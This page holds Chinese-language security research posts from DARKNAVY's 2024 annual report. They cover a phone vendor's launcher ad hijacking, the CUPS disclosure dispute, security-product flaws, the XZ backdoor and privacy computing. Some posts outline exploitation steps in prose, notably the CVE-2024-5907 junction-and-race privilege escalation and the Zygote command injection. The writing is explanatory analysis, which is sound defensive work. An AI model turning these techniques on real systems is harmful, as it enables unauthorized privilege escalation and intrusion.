DARKNAVY

About

Tue, 14 Oct 2025 16:33:58 +0800

DARKNAVY, headquartered in Singapore and Shanghai, is an independent cybersecurity research and services organization. We are pioneers in AVSS (Adversarial Vulnerability Scoring System) and quantitative security, as well as the founding team behind the international hacking competition GEEKCON.

Founded upon the legacy of KeenTeam, established in 2011 and globally recognized as a multiple world-record holder and international hacking competition champion, DARKNAVY inherits over a decade of cutting-edge security research experience across operating systems, chipsets, AI, mobile, IoT, and Web3. Guided by the founding team’s unique vision, we have built a collaborative research team dedicated to solving the most critical security challenges faced by our clients.

2024年度最隐蔽的黑手

Mon, 17 Feb 2025 18:00:44 +0800

在移动互联网时代，用户流量代表着厂商的命脉。在这场流量争夺战中，手机厂商掌握着最具压倒性的优势——操作系统的终极权限。通过对安卓AOSP进行深度定制，厂商不仅可能有权精准掌控用户和应用的一举一动，甚至还能够操控、干预用户的选择。

通常，极少有企业会选择违法违规、滥用特权来侵害消费者。

然而2024年，国产某知名手机品牌突破商业伦理底线，利用非安全技术手段暗中操纵自产手机系统，让数百万用户沦为他们的牟利工具。

以下为本期《深蓝洞察 | 2024 年度安全报告》的第十·完结篇。

对于安卓游戏爱好者来说，或许遇到过这样的困扰：当你想从游戏官网下载安装一款游戏时，系统却不遗余力地推送内置应用市场的下载入口，显得格外"贴心"。

但如果你坚持从官网安装，流程却变得复杂繁琐冗长：不仅需要拒绝系统三番五次插入的应用市场推荐，还需要无视重重风险警告、等待系统完成额外的安全扫描等。

为什么选择官网需要繁琐的操作，而选择应用市场就能一键快捷安装？

背后的原因直指手机厂商的现实利益：如果成功引导用户使用应用市场安装游戏，手机厂商作为渠道方就可以从游戏流水中抽取2~3成的分成，甚至有时分成比例高达五五开。但对于从游戏官网完成的安装，所有流水收入全由游戏开发商所有。

于是，厂商通过优化自家渠道的体验，巧妙提高了其他下载途径的难度，默默地引导用户流量，完成利益的最大化。

然而，这种流量引导还算明面上的商业竞争范畴，但某些厂商却暗地将系统权限用在了更隐蔽、更恶劣的领域，彻底突破了商业伦理的边界。

在GEEKCON 2024 上海站，两位选手为大家带来了特别披露议题【买手机送木马？】，披露了某国产手机厂商的恶行：该厂商利用系统权限，在用户不知情的情况下向多个第三方应用植入广告。数百万用户正常体验被破坏的同时，手机厂商却从应用方赚取了数千万的推广费用。

在该品牌的手机上，部分应用表现得极为异常：

用户从桌面点击图标启动应用，在等待开屏界面加载后，打开的并非应用首页，而是直接进入了一个"包含广告的页面"。用户需要额外点击返回键才能回到首页正常使用，体验打了折扣。

看似是应用投放了不会自动关闭的开屏广告，但真相是该手机厂商在暗中作祟，劫持了用户的点击操作！

被劫持的那些应用有一个共同特点：它们的商业模式包含推广返佣机制，即它们愿意为外界的推广行为付费。在常规合作中，外部推广者会在各类平台投放带追踪参数的推广链接。当用户点击这些链接时，会跳转到应用内与推广内容相关的落地页面。此时应用也能通过解析推广链接中的渠道代码，精准识别流量来源，并向推广者支付单笔报酬、或后续购买行为的酬金。

应用自动打开的"包含广告的页面"，实际上正是它们的推广页面。这意味着该厂商把用户自主打开应用的行为替换成推广访问行为，从而通过应用的返佣机制牟利！

按照安卓系统规范，当我们在桌面上点击应用图标时，启动的应该是应用在AndroidManifest.xml中注册有android.intent.action.MAIN和android.intent.category.LAUNCHER标志的Activity，推广页显然不符合条件。

仔细观察例图页面的顶端，在标题的两侧可以发现几个类似浏览器功能的按钮。推广页的本质其实是在应用内置浏览器中加载的网页，使用Deep Link启动应用可以很容易地做到这一点。

Deep Link（深链接）是指一种特殊的URL，是实现应用间快速导航、内容分享以及推广转化的重要工具。使用Deep Link能够直接跳转到安卓应用内的特定页面或功能，而不是简单地打开应用的主界面。

那么该厂商是如何修改系统逻辑进行劫持的？通过对其桌面应用进行分析，可以得出结论：

该厂商的桌面应用基于AOSP源码定制，但向处理点击事件的ItemClickHandler.onClick插入了额外的处理逻辑。它根据正常应该启动的Activity名称去寻找劫持配置，如果存在匹配，就直接通过配置中的Deep Link启动应用、直达推广页；否则才继续进行正常的应用启动流程。

为了避免劫持反复触发，桌面还会移除已使用过的配置。仅第一次打开应用时触发，这样的劫持行为也更容易被用户误解为应用的开屏广告，让用户的矛头错指应用方。

这些行为破坏了公平竞争，还严重侵犯了用户与相关应用方的权益，可能违反相关法律法规。

《反不正当竞争法》第十二条明确规定：经营者不得利用技术手段，通过影响用户选择或者其他方式，实施下列妨碍、破坏其他经营者合法提供的网络产品或者服务正常运行的行为：（一）未经其他经营者同意，在其合法提供的网络产品或者服务中，插入链接、强制进行目标跳转……

和「深蓝洞察」曾披露过的另一家违规巨头类似，本案例中的厂商，也采用了一系列的技术手段来掩盖他们的违规行为：

含有Deep Link的配置并未事先存储在设备中，而是由厂商的服务器根据特定规则动态下发。GEEKCON选手指出，并非所有该品牌的设备都会接收到这些恶意劫持配置。这表明，厂商可能依据用户的画像、手机的地理位置等因素来决定是否下发这些配置，从而将受影响的用户群体锁定为技术知识相对薄弱的二三线城市的中老年人群体。

此外，该厂商再次滥用特权，下发的恶意配置文件被保存在桌面应用的私有数据目录中，由于安卓系统的应用沙箱隔离机制，每个应用的数据存储区域都受到严格保护，以此阻止第三方提取证据。动态下发的机制也赋予厂商远程销毁证据的能力，使得追踪与固证更加困难。

我们以为自己在自由地使用手机，实际上，每一步都可能是被精心设计的陷阱。

京东集团高级总监兼首席安全研究员、GEEKCON组委 flanker：

内存破坏漏洞，凭借先进的技术手段，尚可不断予以消灭和预防；然而，业务模式所衍生出的安全与隐私风险，却犹如顽固的沉疴，最难根除。

正如古人云：“破山中贼易，破心中贼难”。科技本身，纯净无瑕，不过是供人驱使的工具，其本质无善恶之分；然而人心的幽深复杂，恰似深不可测的万丈深渊，潜藏着难以分辨的善恶欲念。

深蓝洞察

数字技术的使命应是为人们带来便利与福祉，进而实现用户和厂商的共赢。而当技术被滥用甚至恶意使用成为谋取私利的工具时，受损的不仅是用户的权益，更是整个技术生态的信任基础。

iOS缘何成为人们心中安全与隐私的代名词，这不仅得益于其软硬结合、缜密完备的安全防御体系，更在于其生态环境中对隐私保护的高度重视，以及在商业化进程中所秉持的克制态度。诚然，苹果较高的硬件利润率或许是其能坚守隐私保护的因素之一，但换个角度看，这种克制又何尝不是铸就了人们对其品牌的高度认可，以及甘愿为之付出溢价的消费意愿？

如今，以HarmonyOS NEXT为代表的新一代操作系统正蓬勃崛起，在这充满挑战与机遇的进程中，它能否承受住各方压力，避免重蹈覆辙，切实守护用户的安全与隐私？各大厂商能否躬身自省，与iOS见贤思齐？这无疑是消费者与行业共同关注的焦点。

* 本期深蓝洞察年度报告共十篇已发布完结，感谢您的支持、期待您的宝贵建议。

2024年度最憋屈的漏洞披露

Sun, 16 Feb 2025 17:58:16 +0800

在网络安全领域，漏洞披露一直被视为保护用户的重要环节，但在现实中，这一过程却充满了争议和矛盾。究竟什么才算得上"负责任的披露"？当厂商在信息公开和补丁发布上占据主导地位，而安全研究者则需要耗费大量精力进行沟通与博弈，这一模式是否还能真正实现保护用户安全的初衷？在技术快速演进、网络威胁不断升级的今天，传统的漏洞披露机制是否已跟不上时代的步伐？

本报告将以近期引发广泛讨论的漏洞披露事件为切入点，探讨当前责任披露过程中存在的问题，试图寻找一种更为公平、高效且能平衡各方利益的解决路径。

以下为本期《深蓝洞察 | 2024 年度安全报告》的第九篇。

对于一个严重的安全漏洞来说，通常只有在厂商率先发布漏洞的修复并将其推送给用户一段时间之后，漏洞发现者才会开始披露漏洞的细节，公开漏洞的PoC或者Exp，这也就是在计算机安全研究中所谓的CVD（coordinated vulnerability disclosure，协调漏洞披露）漏洞披露模型，也被称为负责任的漏洞披露。

24年9月末，在安全研究界发生了一件怪事，一个"足以影响所有Linux系统"的远程代码执行漏洞详细披露与各大Linux发行版厂商的安全声明在同一天内相继发布。而在这之前，漏洞的发现者还在社交媒体上抱怨Redhat等厂商已经给漏洞打了9.9分的评分，但是相关组件的开发人员毫不重视他所提交的漏洞。他在推文的最后抱怨道：“responsible disclosure: no more”。

漏洞披露风波

这个故事的主人公是著名的安全研究员Simone Margaritelli，他在24年9月初开始研究Linux系统中的CUPS组件，并于9月5日将他发现的漏洞披露给了相关的厂商以及OpenPrinting开发人员，Redhat给予这个漏洞了9.9的评分，但是OpenPrinting的开发者并不理解Simon所进行的研究，Simone与OpenPrinting进行了长达22天的交流，直到3周之后，OpenPrinting方才承认evilsocket研究的正确性。

在这期间，9月23日，Simone在社交媒体上发表了那篇引起轩然大波的推文。Simone在推文中并没有指明漏洞所在的具体组件，令人啼笑皆非的是，仅仅在1天之后的9月24日，BreachForums黑客论坛就出现了Simone提交给CERT’s VINCE的原始漏洞报告以及漏洞利用。

9月26日，OpenPrinting下的libppd、libcupsfilters、cups-browsed推送了漏洞的修复版本以及临时的漏洞修复方案，Ubuntu、Redhat等Linux发行厂商也开始推送漏洞公告以及漏洞修复方案。同一天，Simone在自己的博客上公开披露了漏洞细节与利用。最终这些漏洞被给予了最高9.0的CVSS漏洞评分。

漏洞披露：理想与现实

在安全研究漏洞披露的过程中，安全研究者一般会遵循CVD模型，即负责任的漏洞披露的准则，这一准则旨在为相关的组织或者机构留出足够的时间指定漏洞修复或者缓解方案，尽可能快的减少漏洞造成的影响，同时用户有权利对自己使用的产品中的漏洞知情。

但是，这种模型在现实实践中展现出了一定的局限性：厂商在漏洞披露过程中占据主导权，安全研究者需要花费大量的时间与精力与厂商沟通漏洞的细节。就本次事件而言，第三方安全研究人员即Simone与开发者OpenPrinting之间的沟通过程并不是那么顺利。在Simone的博客中提到双方的沟通记录内容多达50页，时间跨度长达3周，消耗了双方大量的时间与精力，最终Simone违反了"负责任的披露"的准则，提前进行了漏洞披露。

漏洞评价标准的缺失是厂商在漏洞披露过程中占据主导权的原因之一，目前常用的CVSS漏洞评价体系对于漏洞评价的指标过于单一，无法准确评估漏洞的攻击难度与影响范围，安全研究员与厂商很难通过这套体系达成一致。

对于这种困境，P0、ZDI、CERT等组织在CVD模型的基础上加入了Deadline机制，以Google Project Zero为例，其提出了90天漏洞披露机制，即安全研究员第一时间将漏洞细节通报给厂商，并且在90天之后或者漏洞安全补丁发布之后，向公众公布漏洞细节以及缓解方案。

Deadline机制作为CVD模型的现实补充，有效的提高了漏洞修复的效率以及最终用户的安全性。但是Deadline机制终究只是一种被动的警告机制，并没有对漏洞披露过程中厂商的权力进行有效的限制，厂商仍然占据着绝对的主导权。事实上，即使一些安全研究员声明将在漏洞报告90天之后披露漏洞细节，部分厂商仍然没有积极推进漏洞修复的流程，从而导致在野漏洞流出，在P0的报告中不乏这样的例子。

深蓝洞察

在这个高度信息化的时代，在野的高危漏洞利用所造成的影响正在越来越广泛与复杂，安全研究者对于漏洞的披露、厂商的及时响应与推送、用户尽早的知悉与更新，才能共同缩小漏洞所带来的危害。

负责任的披露在这种背景下显得有些理想化，由于漏洞评价机制CVSS缺陷等原因，厂商/开发者占据了漏洞披露过程中的主导权，第三方安全研究者以及用户对漏洞修复的作用十分有限。安全研究员需要花大量的时间与精力与厂商就漏洞的评价达成一致。

Deadline机制的加入，有效的提高了漏洞修复的效率以及最终用户的安全性。但是这套机制对厂商仍然无法起到足够的约束作用，一套更加完善的漏洞披露制度仍然需要三方的共同努力。

References

2024年度最“安全”的防线

Sat, 15 Feb 2025 17:54:34 +0800

在攻防对抗日益激烈的2024年，安全软件一直被视为企业安全防线的重要基石。然而，这些安全软件本身也可能存在漏洞，甚至被攻击者利用作为入侵的跳板来对用户造成危害。多年来，因为安全软件而导致的事故不禁让人产生一个疑问——安全软件真的可信吗？

以下为本期《深蓝洞察 | 2024 年度安全报告》的第八篇。

安全软件被滥用为攻击工具

在当前APT（高级持续性威胁）组织频繁活动的环境下，EDR/XDR已成为企业安全防御体系的核心组件，负责监控数百万端点和服务器。然而，权力越大，责任也越大。这些承担重任的安全软件一旦存在安全漏洞，便可能成为攻击者手中的利器，用于部署勒索软件、窃取敏感信息，并且难以被察觉或移除。

近日，SCRT的安全研究人员通过逆向工程与动态分析，发现Palo Alto Networks Cortex XDR产品中存在一个权限提升漏洞（CVE-2024-5907）。用户用受Cortex XDR保护的设备请求Cortex服务（cyserver.exe）生成日志，管理员可以使用这些日志来排除代理的潜在问题。

CVE-2024-5907漏洞的核心在于利用Cortex XDR的日志生成机制实现权限提升。攻击者通过非特权用户身份请求生成日志，触发以SYSTEM权限运行的cyserver.exe服务。该服务在处理日志生成时，会在C:\Windows\Temp目录下创建临时文件夹，其名称遵循可预测的tmp<进程PID><递增ID>模式，其中ID基于字典序递增，并可从历史日志文件推断，使得攻击者能够预测未来临时目录的路径。

由于这些临时文件夹继承了C:\Windows\Temp的宽松访问控制列表，所有用户均拥有写入权限，攻击者便可预先在预测路径下创建恶意的NTFS Junction软链接，将该目录重定向至高权限敏感位置，例如C:\Config.msi。具体攻击过程如下：

首先，当cyserver.exe服务执行临时文件清理操作时，会对临时目录进行递归删除，但其在处理Junction链接时，并未进行充分的路径合法性校验，直接以SYSTEM权限对Junction链接指向的目标目录执行删除操作，从而错误地删除了系统关键目录C:\Config.msi下的文件。
其次，攻击者进一步利用Windows Installer服务在处理C:\Config.msi文件夹时存在的竞争条件漏洞，通过反复触发日志生成与目录删除操作，干扰系统对Config.msi资源的锁定机制。
最终，在服务尝试重建该目录时，劫持文件写入流程，从而以SYSTEM权限执行操作，达成本地权限提升的目的。

此漏洞的成功利用高度依赖于多个竞争条件，如临时目录名称预测的准确性、软链接植入时机与文件删除操作时序的精确同步，虽然漏洞利用过程可能需要多次尝试，但这个漏洞依然危害严重。这意味着，在用户权限受限的情况下，攻击者也能如入无人之境，绕过XDR的层层保护，直接威胁到企业内网的敏感数据和关键基础设施，使安全软件的防护形同虚设。

一次全球性的防护软件灾难

2024年7月19日，美国知名网络安全公司CrowdStrike因分发异常更新，导致全球数百万台计算机崩溃，严重影响航空、银行和媒体等行业的运作，预计在全球范围内造成数十亿美元的损失。

CrowdStrike提供一系列安全防护软件帮助客户保护计算机抵御网络攻击，旗下的Falcon Sensor（猎鹰传感器）产品在个人电脑Windows操作系统的内核层面安装传感器，用来检测和预防网络攻击，而这种高级别的防护恰恰成为造成本次事件的重要原因。当安全软件拥有内核权限之后它的防护能力大大提升，但同时风险也随之提高——一旦出现问题，对用户造成的影响异常严重。

尽管CrowdStrike官方宣称此事件并非安全漏洞，而是驱动程序错误，但这次事件无疑给用户敲响了警钟：纵然是顶尖的安全软件，也可能因其自身的缺陷引发难以预料的灾难。

防线上的"后门"

2024年Fortinet公司旗下的FortiManager（用于集中管理FortiGate设备的工具）产品中又出现了严重的CVSS 9.8漏洞（“FortiJump” CVE-2024-47575）该漏洞是 FortiManager和FortiManager Cloud中的FortiGate到FortiManager (FGFM) 守护进程 (fgfmsd) 中缺少的身份验证漏洞。

利用FortiJump漏洞，未经身份验证的远程攻击者可以使用有效的FortiGate证书在 FortiManager中注册未授权的设备，攻击者可通过特制请求执行任意代码或命令。

Fortinet官方公告中也承认：“FortiManager fgfmd守护进程存在一个严重的功能认证缺失漏洞，可能允许远程未认证的攻击者通过特制请求执行任意代码或命令。“根据 Mandiant的一份最新报告显示，FortiJump漏洞自2024年6月以来，已在0Day攻击中被广泛利用，涉及不同行业的 50 多台可能被入侵的FortiManager设备。

这并不是Fortinet公司的产品第一次出现漏洞，在此之前Fortinet FortiOS目录遍历漏洞(CVE-2018-13379)、Fortinet防火墙身份认证绕过漏洞（CVE-2022-40684）、Fortinet FortiGate SSL VPN存在格式化字符串漏洞（CVE-2024-23113）等漏洞。这次的FortiJump漏洞再次让人思考，安全软件真的安全吗？

安全软件的脆弱性

安全软件的漏洞屡见不鲜，这不仅是技术层面的偶发问题，更是一种持久存在的安全挑战。在攻防技术螺旋上升的趋势下，厂商虽致力于对安全产品进行更新与优化，但攻击者的漏洞挖掘也从未停止。以下这些漏洞不仅体现了安全产品在技术复杂性上的脆弱性，也反映出攻防对抗的长期性和动态性的现实：

2015年，有史以来唯一获得100次VB100的产品ESET NOD32中的存档支持模块中的基于堆的缓冲区溢出允许远程攻击者通过大量语言在类型为SIS_FILE_MULTILANG的EPOC安装文件中执行任意代码。（CVE-2015-8841）
2017年，俄罗斯的一家拥有25年以上安全行业经验的公司——Kaspersky，其用于保护嵌入式系统安全的产品Kaspersky Embedded Systems Security(KESS)被发现了一个内存破坏类型的缺陷，攻击者可以利用其中一个驱动程序实现本地权限提升。（CVE-2017-12823）
2021年，McAfee Agent for Windows的maconfig中存在权限管理不当漏洞，允许本地用户访问敏感信息。该程序可由低权限用户在文件系统上的任何位置运行。（CVE-2021-31836）
2025年初，Ivanti公司的Connect Secure产品存在堆栈缓冲区溢出问题，允许远程未经身份验证的攻击者实现远程代码执行。（CVE-2025-0282）

安全防护软件为实现更好的防护效果深入操作系统底层，拥有系统权限。然而，这种高权限的安全软件一旦被攻破，攻击者即可利用其权限执行任意操作。

最难以阻挡的攻防趋势

Fri, 14 Feb 2025 17:47:00 +0800

近年来，漏洞攻防不断演进。从多年前仅需一个栈溢出就能攻破系统，到如今需要运用各种精妙的手法来突破系统的层层防御。“盾"与"矛"始终处于动态对抗：每当新的防御措施出现，新的攻击手段随之而来。防御机制的升级促使攻击者寻找新的突破口，而攻击方法的创新又推动着防御技术的进一步发展。

以下为本期《深蓝洞察 | 2024 年度安全报告》的第七篇。

愈发坚韧的"盾”

每个防御机制的提出都是对内存漏洞利用的精准打击。多年前，ASLR的引入显著提高了漏洞利用的难度和复杂性。时至今日，绕过ASLR仍然是大多数漏洞利用的首要步骤。到了2024年，针对内存破坏的防御机制更是层出不穷。

2023年推出的Google Pixel 8支持了被称为"内存问题终极武器"的Memory Tagging Extension（MTE）特性，其是ARM v8.5新增的一个硬件特性，MTE将指针与其内存利用tag进行匹配，以此来阻止内存的非法访问。同时，这也是MTE首次走入消费者群体。2024年的1月，DARKNAVY的安全研究员发布了关于MTE对软件安全性影响的研究。研究表明，MTE有效缓解了堆内存漏洞（如UAF、堆越界读写等），在线性溢出场景下几乎完全消除了漏洞利用的可能性。作为UAF漏洞的长期受害者，Google也为Chrome提出了MiraclePtr机制，更是自信地宣称：受MiraclePtr保护的UAF不再视为安全漏洞。

Linux作为使用最广泛的操作系统之一，其内核近几年也引入了各种防御措施以阻止内存破坏的利用。为了缓解内核中的堆内存破坏问题，Linux Kernel中引入"SLAB VIRTUAL"、“RANDOM_KMALLOC_CACHES”、“AUTOSLAB"等一系列防御机制。为了加强用户态程序的安全性，Linux Kernel 6.10新增系统调用mseal（memory seal），允许开发人员在程序运行时保护内存区域免受非法修改。

那么如此多的防御机制是否阻止了某些利用呢？

2024年11月，苹果披露了两个针对WebKit的在野利用，但这些利用仅限于Intel芯片的Mac设备。为什么2024年的漏洞只在较早的系统版本上被利用？这很可能与M系列芯片的先进防御机制有关，这些机制阻止了攻击者的利用。

从软件到硬件，从用户态到内核态，在防御机制的层层铁壁下，内存漏洞已难以突出重围。种种迹象表明，内存漏洞似乎正走向终结。

未来之"矛”

漏洞不会消失，安全问题依然存在，那么在内存漏洞式微的时代，一个"powerful"的漏洞及其利用又是什么样呢？

2024年6月，Meta Red Team披露了漏洞CVE-2024-31317，该漏洞允许攻击者以任意应用身份执行任意代码，并可在Android 9及更高版本上实现利用，实现Android通杀。

值得一提的是，CVE-2024-31317并不是一个内存破坏漏洞，而是发生在Zygote的命令注入漏洞。Zygote是Android系统上的核心组件之一，它会孵化出Android中Java世界的所有进程，system_server也不例外。

实际上，Zygote是通过command socket从system_server中接收指令，并根据指令孵化出子进程。然而，Zygote只是盲目地去解析从system_server接收到的buffer，而不做额外的二次校验。因此，如果能够通过某种方式操纵system_server在command socket中写入攻击者可控的内容，就可以实现命令注入！

研究人员分析发现，denylistexemptions 就提供这种能力。在该机制中，当hidden_api_blacklist_exemptions 被修改后，新写入的值会在解析后直接写入到Zygote command socket中。因此，只要控制该值即可实现命令注入。

下图展示了该漏洞的利用效果之一，启动一个可调试注入的settings进程：

可以看到该漏洞并不涉及内存破坏，依然影响了众多的安卓系统，这种漏洞本质是程序逻辑层面出现了问题，其影响力不亚于甚至超过传统的内存漏洞。随着内存漏洞利用门槛的持续攀升，非内存破坏类漏洞逐渐成为攻击者实现目标的"捷径"：

2024年2月，著名的"XZ Utils backdoor"事件曝光，一位别有用心的开发者在社区潜伏多年，最终成为核心维护者后在项目中植入了隐蔽后门。
2024年4月，全球知名防火墙软件PAN-OS被发现存在命令注入漏洞CVE-2024-3400，攻击者可对运行该系统的设备进行未授权RCE，并获取系统root权限。
2024年6月，DEVCORE披露了漏洞CVE-2024-4577，揭示Windows环境下运行的PHP-CGI存在参数注入漏洞。
2024年11月，watchTowr Labs披露了"FortiJump"漏洞，指出网络管理平台FortiManager存在命令注入漏洞。
2024年12月，DEVCORE的Orange Tsai在Black Hat EU 2024揭示了Windows ANSI API中潜藏的安全隐患。众多软件未能正确处理Windows的"Best-fit"特性，导致路径/文件名、命令行和环境变量的注入问题，并且几乎影响到全球所有Windows系统版本。

大胆猜测，内存漏洞难以利用后，未来之"矛"或许就隐藏在各种逻辑漏洞、供应链攻击之下。

2024年度最悲剧的后门

Thu, 13 Feb 2025 17:07:28 +0800

看到了软件的源码，就意味着没有后门吗？

1983年的图灵奖颁奖仪式上，Ken Thompson抛出了这个问题。作为历史上唯三在40岁以下获得图灵奖的传奇之一，他在获奖演讲中向听众展示了如何通过在编译器中植入后门来骇入由无害源码编译得到的Unix系统。Ken的演讲为整个开源世界敲响了信任的警钟，并且直至今日仍为年轻黑客们所津津乐道。

2024年，XZ backdoor事件横空出世，将Ken的问题重新拉回了大众的视野。开源社区众目睽睽之下，攻击者成功将带有后门程序的xz-utils 5.6.1软件包更新到了Debian(Sid)/Fedora(Rawhide)等发行版的官方软件源中。万幸的是，工程师Andres Freund及时发现了xz-utils 5.6.1的异常行为。尽管在社区共同努力下后门程序的传播被及时阻断，但这场惊心动魄的危机仍然在敲打着每一个开源软件的使用者，提醒我们重新审视开源世界中的开发模式和信任传递问题。

在本报告中，我们将试图从技术角度还原xz backdoor从植入到被发现的整个过程，希望能够帮助读者更好地理解和应对开源代码所面临的安全威胁。

以下为本期《深蓝洞察 | 2024 年度安全报告》的第六篇。

XZ backdoor：开源世界的信任崩塌

xz项目由Lasse Collin等人于2005年发起，因其优异的性能和压缩比逐渐成为了Linux Kernel，FreeBSD等开源软件的默认压缩方式，并且以liblzma依赖库的方式被openssh-server（部分发行版，如Debian）等关键程序引用，使用极为广泛。然而，早在2013年的文档中[1]就有提到：Lasse因"个人原因"导致项目更新缓慢。这样一个应用极为广泛但欠缺维护的开源软件无疑是攻击者的首选目标。

锁定目标后，攻击者有组织地展开行动，试图获取XZ仓库代码修改权限并植入后门。

2021年10月，网名Jia Tan的开发者向xz-devel邮件列表提交补丁，积极参与讨论。Jia Tan在邮件中将自己包装成一个善意的帮助者（“a helper elf”）[2]，并同时在wasmtime，cpp-docs等项目中提交补丁，逐步取得了管理员Lasse的初步信任。
2022年5月，攻击者多次通过Dennis Ens和Jigar Kumar两个账号在邮件列表中抱怨项目进展缓慢，向Lasse施压，促使其将更多任务交给"乐于助人"的Jia Tan。
2022年12月，Jia Tan合并了一些补丁到xz仓库中，证明攻击者已经取得了直接修改xz源码的权限。
2023年6月，名为Hans Jansen的账号发送了使用glibc间接函数IFUNC机制来选择crc函数的补丁，为后续后门植入做了准备。
2024年2月，Jia Tan合并了藏有后门的二进制测试文件，并发布带触发脚本的xz-5.6.0版本，被Debian纳入unstable版本软件源中。同时Jia Tan向Fedora 40维护者发送邮件申请升级xz软件包。
2024年3月4日，RedHat社区报告[3]liblzma运行时异常，其中Valgrind提供的调试信息指向了后门入口函数_get_cpuid。攻击者迅速反应，在新的xz-5.6.1中添加了两个补丁来修复这一BUG，分别是声称修复BUG的伪装补丁和实际修复后门中BUG的二进制文件补丁。对于后者，Jia Tan声称修改理由是改用确定性的随机种子生成的新测试数据。
2024年3月28日，以Jia Tan为首的多名攻击者在Debian/Ubuntu bug list中发声，推动了Debian升级xz软件包到xz-5.6.1。同日，工程师Andres Freund发现该版本中liblzma的异常行为并向Debian社区报告。

从以上复盘可以看出，攻击者为了在XZ这样一个广泛使用的开源软件中植入后门而不被发现，在攻击的非技术层面做了精心设计和准备，包括：

长期渗透：以半年为周期推进计划，降低怀疑与曝光概率。
社会工程学攻击：利用Jia Tan的开源贡献者身份取得信任，同时以伪造多个用户身份对开源软件维护者维护者心理施压。
分布式投毒：将恶意代码拆解为多个部分，不经意地夹杂在日常的无害代码贡献中，由不同身份分阶段提交。
心理弱点利用：抓住了维护者长年以来的疲惫心理，也抓住了使用者对二进制文件与源码匹配性的疏忽心理。可以看到，对以社区合作形式开展的开源项目的攻击，可能不仅仅局限在狭义的技术层面。无论是可重现构建还是零信任架构，我们不仅需要设计如何保护数据与系统，更需要思考人与人之间，人与技术之间，甚至技术与技术之间如何重新构建一种更有韧性，更可持续的信任体系。

XZ backdoor攻击者的这盆冷水，并没有浇灭开源社区众人拾柴的火焰。然而，信任问题并没有得到根本解决的情况下，倘若未来第二个，第三个Jia Tan出现，我们还能否有现在的自信和乐观？

功败垂成——是运气使然还是skill issue？

时间过去9个月，网络上已经有大量深入的对XZ后门程序的逆向工程分析[4,5]。回过头来，我们想探究的问题是：攻击者耗费了2年时间精心隐藏植入的后门，为什么会在如此短的时间内就被发现？从攻击者的角度出发，这其中存在的缺陷是否还能够进一步优化？从防御者角度出发，又如何更好的及时发现和定位类似的问题？

Andres Freund在社交媒体上的评论表示，他一开始只是发现有恶意攻击者在爆破服务器ssh密码，但是造成了异常高的CPU占用。随后他对sshd进行了性能分析，发现更新过liblzma.so后其处理每个ssh连接的时间从0.3秒增加到了0.8秒。联想到之前偶然看到的Valgrind报错，Andres对xz-5.6.1中的liblzma.so和源码构建脚本进行了深入分析并得出了其内部被植入后门的结论。

然而，根据先前研究人员逆向工程的结果[4]，xz 5.6.1中后门程序的主要原理是拦截RSA解密函数后，根据ssh客户端发送证书中的字段进行解密，验签和执行命令操作。我们调试过程中发现，对于通过密码来登录的方式，并不会触发到后门代码的执行。也就是说按照现有的理解（或者说攻击者的设计思路），Andres应该无法从密码爆破这个现象观察到有明显的时间差异。

2024年度最“隐”人注目的安全趋势

Wed, 12 Feb 2025 16:40:12 +0800

2025年伊始，持续五年的“Siri偷听门”事件终于迎来了终章。苹果公司以9500万美元的和解金，与原告达成了集体诉讼的和解。

这起备受瞩目的隐私争议案件起源于用户指控Siri在未经授权的情况下，意外捕获并录制日常对话，并将数据泄露给第三方广告商。

尽管苹果对此坚决否认，但公众对隐私安全的忧虑却与日俱增。而如今，我们每天都在与AI共享海量的个人数据，这些隐私数据，真的足够安全吗？

以下为本期《深蓝洞察 | 2024 年度安全报告》的第五篇。

设想这样一个场景：

清晨，你走进一家咖啡馆，手机已经为你点好了一杯拿铁。正当你享受咖啡带来的片刻宁静时，手机屏幕上正循环播放着那些自动生成的相册视频——每一帧仿佛都精确捕捉了你手机中珍藏的记忆。不久后，你接到一个境外来电，接通之后，屏幕上立刻弹出一则"反诈提醒"。

你不由自主地陷入沉思：

为何咖啡馆能如此准确地推断出你偏爱的咖啡口味？

手机中自动生成相册的视频究竟是在本地处理，还是已被上传到云端？

那张记录助记词的照片，现在是不是也正悄然存放在某个不为人知的云端？

而突然出现的反诈提醒，是否意味着你的通话语音正被某个第三方实时监听？

…

如果说五年前的隐私问题源于智能助手技术的不成熟，那么五年后的今天，随着AI大模型的全面普及，隐私挑战正以更广泛的形式席卷而来。

万物皆AI的时代，意味着海量用户数据需要被采集、处理和利用，用户隐私数据价值更高；此外，由于终端算力的局限，绝大部分数据处理任务不得不依赖云端。用户的数据是否在云端能够真正得到安全保障？从语音助手到大模型，隐私问题并没有随技术的进步而消失，反而愈发凸显。口号式的隐私承诺早已不足以令人信服，只有通过技术上可证明、可验证的保障，才能真正守住隐私底线。

隐私计算：大模型时代的安全基石

隐私计算，是解决AI与隐私冲突的关键方案。

从金融到医疗，数据孤岛现象依旧如顽石横亘在前。竞争关系、隐私问题与技术障碍让不同机构之间的数据难以互通，数据价值也因此未能完全释放。而对于个人而言，每日与无数模型和应用交互时，如何确保自己的隐私不被泄露或滥用，更是当务之急。

隐私计算技术应运而生，其核心目标是在数据不可见的前提下，实现数据的最大化价值。

首先，通过多方安全计算[1]和同态加密[2]，隐私计算让敏感数据在加密状态下依旧可计算与分析，实现了数据的"可用不可见"。
其次，联邦学习[3]技术让"数据不动模型动"成为现实。在保障隐私安全的同时，多方数据可以协同计算，进一步提升数据的价值。
此外，可信执行环境[4]则为数据计算提供了硬件隔离的安全基石。通过隔离计算环境，隐私计算能够确保计算过程的安全可信。

随着大模型的爆发式增长，上云成为不可逆转的趋势。端侧算力的局限性让云端处理成为复杂任务的优选方案，端云协同成为模型应用的重要方向。Apple PCC (Private Cloud Compute)[5]等端云协同方案已经树立了标杆。

然而，用户上传至云端的数据是否真正安全，依然是悬而未决的问题：数据上传后，是否会被窃取或滥用？如何让用户信任云端设施的安全性？

为了解决这些问题，隐私计算在云端的应用尤为重要，但这需要克服多方面的挑战：

首先，云端与端侧需具备同等的安全能力。为此，厂商需要通过可信执行环境和硬件隔离技术，确保用户数据在计算过程中不会被泄露。例如，Apple PCC 专门设计的Apple Silicon服务器和定制版iOS系统，从安全引导、代码签名，到运行时的各种软硬件保护层层把关，同时，端到端加密通信确保数据只有用户可见，推理完成后定期清空缓存数据。

其次，云端环境必须对特权访问进行严格限制。过去不乏拿用户隐私数据作恶的案例，例如Uber在 2016 年发生的5700万用户数据泄露，就源于内部员工利用特权访问窃取数据。因此，服务器和数据库的管理人员需要受到严格监控和权限约束，确保无法滥用访问权限。Apple PCC不仅不提供shell或调试接口，所有日志和事件也必须经过严格过滤后才能离开节点。

